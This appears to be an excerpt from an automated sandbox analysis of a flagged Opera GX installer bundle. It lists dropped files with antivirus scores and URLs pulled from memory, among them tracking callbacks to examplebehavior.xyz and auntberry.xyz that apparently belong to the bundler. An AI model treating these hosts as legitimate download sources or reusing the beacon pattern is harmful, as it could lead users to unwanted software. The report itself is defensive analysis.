      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\d3dcompiler_47.dll0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxcompiler.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxcompiler.dll0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxil.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxil.dll0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer_helper_64.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer_helper_64.exe0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exe0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exe.1728808435.old (copy)0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exe.1728808435.old (copy)0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libEGL.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libEGL.dll0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libGLESv2.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libGLESv2.dll0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\mojo_core.dll0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\mojo_core.dll0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\notification_helper.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\notification_helper.exe0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera.exe0%VirustotalBrowse
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.exe0%ReversingLabs
      C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.exe0%VirustotalBrowse

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      ⊘No contacted domains info

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupUSecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000000.1314369731.0000000000401000.00000020.00000001.01000000.00000003.sdmpfalse
        https://www.deezer.com/tr/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
          https://yandex.ua/search/?clid=2358536&text=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
            https://ac.duckduckgo.com/ac/?q=installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpfalse
              https://download5.operacdn.com/ftp/pub/opera_gx/114.0.5282.93/win/Opera_GX_114.0.5282.93_Autoupdate_setup.exe, 0000000A.00000003.1526092722.00000000011DB000.00000004.00000020.00020000.00000000.sdmpfalse
                https://legal.opera.com/termsf_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                  https://www.deezer.com/sr/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                    https://api.browser.yandex.ua/suggest/get?part=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                      https://www.so.com/favicon.icocss/searchstyle_360.cssimages/logo_360.pnginstaller.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpfalse
                        https://auntberry.xyz/SecuriteInfo.com.FileRepMalware.27261.32754.tmp, SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.00000000008DC000.00000004.00000020.00020000.00000000.sdmpfalse
                          https://download.opera.com/setup.exe, 0000000A.00000003.1525826014.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011EF000.00000004.00000020.00020000.00000000.sdmpfalse
                            https://help.opera.com/latest/f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                              https://www.deezer.com/cz/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                https://desktop-netinstaller-sub.osp.opera.software/etSignedDataMsgDllFuncNamesetup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpfalse
                                  https://policies.google.com/terms;f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                    https://www.baidu.com/favicon.icoinstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                      https://download.opera.com/download/get/?partner=www&opsys=Windows&utm_source=netinstallerf_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                        https://ff.search.yahoo.com/gossip?output=fxjson&command=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                          https://www.yahoo.co.jp/favicon.icoinstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                            http://autoupdate-staging.services.ams.osa/installer.exefalse
                                              https://www.deezer.com/nl/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                http://localhost:3001api/prefs/?product=$1&version=$2..f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                  http://www.opera.comsetup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    https://crashpad.chromium.org/https://crashpad.chromium.org/bug/newf_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.00000000032D5000.00000004.00000020.00020000.00000000.sdmp, assistant_installer.exe, 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000000.2697138404.0000000000857000.00000002.00000001.01000000.00000015.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                      https://desktop-netinstaller-sub.osp.opera.software/ptnetUrlCachesetup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        https://desktop-netinstaller-sub.osp.opera.software/LocalLowsetup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          https://www.deezer.com/no/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                            https://www.deezer.com/ro/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                              https://www.rambler.ru/favicon.icoinstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                https://completion.amazon.com/search/complete?q=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                  https://extension-updates.opera.com/api/omaha/update/apple_keinstaller.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                    http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_execution&ko=no&o=331&a=2910&dn=244&spot=4&t=172SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354859380.0000000000895000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      https://listen.tidal.com/installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                        http://examplebehavior.xyz/kuiffghhy?paw=987224&spot=2&a=2910&on=310&o=365SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          https://autoupdate.opera.com/setup.exe, 0000000A.00000003.1508590817.000000000117D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            https://download.opera.com/download/get/?id=52318&autoupdate=1&ni=1msetup.exe, 0000000A.00000003.1508590817.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              https://desktop-netinstaller-sub.osp.opera.software/v1/binaryera.softwaresetup.exe, 0000000A.00000002.3460882271.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454547122.00000000011AB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                https://www.deezer.com/pl/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                  https://www.remobjects.com/psSecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1318438752.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1317502919.0000000002610000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000000.1321065649.0000000000401000.00000020.00000001.01000000.00000004.sdmpfalse
                                                                                    https://download.opera.com/Vsetup.exe, 0000000A.00000003.1526138308.0000000004CA5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780754414.0000000004CA6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      https://www.innosetup.com/SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1318438752.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1317502919.0000000002610000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000000.1321065649.0000000000401000.00000020.00000001.01000000.00000004.sdmpfalse
                                                                                        https://www.deezer.com/id/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                          https://www.deezer.com/fi/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                            https://download.opera.com/Nsetup.exe, 0000000A.00000003.1526138308.0000000004CA5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780754414.0000000004CA6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              https://download3.operacdn.com/setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460220792.000000000110B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                https://download3.operacdn.com/.opera.com/download/get/?id=52318&autoupdate=1&ni=11setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  https://www.opera.comf_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                    https://crashstats-collector-2.opera.com/installer.exe, 00000018.00000002.3397139603.00001340000C0000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                      https://translate.yandex.fr/?text=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                        http://examplebehavior.xyz/rlo.php?d=b&msg=$errCode&r=offer_execution_fail&ko=no&o=1662&a=2910&dn=42SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          https://desktop-netinstaller-sub.osp.opera.software/v1/binarysetup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1508590817.000000000117D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            https://www.so.com/favicon.icoinstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                              https://www.deezer.com/mx/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                https://autoupdate.geo.opera.com/.opera.comOperaOpera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.00000000032D5000.00000004.00000020.00020000.00000000.sdmp, assistant_installer.exe, 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000000.2697138404.0000000000857000.00000002.00000001.01000000.00000015.sdmpfalse
                                                                                                                  https://www.deezer.com/bg/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                    http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_exists&ko=no&o=1675&a=2910&dn=441&spot=3&t=17288SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354859380.0000000000895000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      https://crashpad.chromium.org/installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                        https://addons.opera.com/en/extensions/details/dify-cashback/installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                          https://www.deezer.cominstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                            https://crashstats-collector.opera.com/collector/submitIassistant_installer.exe, 00000015.00000002.2699393729.0000000005390000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              https://download5.operacdn.com/setup.exe, 0000000A.00000003.1780636947.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1525826014.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                https://duckduckgo.com/?q=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                  https://yandex.com.tr/search/?clid=1669559&text=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                    https://crashstats-collector.opera.com/collector/submitassistant_installer.exe, 00000015.00000002.2699393729.0000000005399000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      https://www.deezer.com/en/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                        https://crashstats-collector.opera.com/collector/submitDassistant_installer.exe, 00000015.00000002.2699393729.0000000005399000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          https://www.baidu.com/baidu?wd=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                            https://www.google.com/complete/search?client=opera&q=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                              http://www.opera.com0f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                https://crashstats-collector-2.opera.com/Lsetup.exe, 0000000E.00000002.3442608086.000000004CCAC000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                  https://www.deezer.com/it/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                    https://accounts.spotify.com/installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                      https://opera.com/privacyf_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                        http://examplebehavior.xyz/kuiffghhy?paw=707251&spot=1&a=2910&on=420&o=1662SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          https://gamemaker.io)f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                            https://sourcecode.opera.comf_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
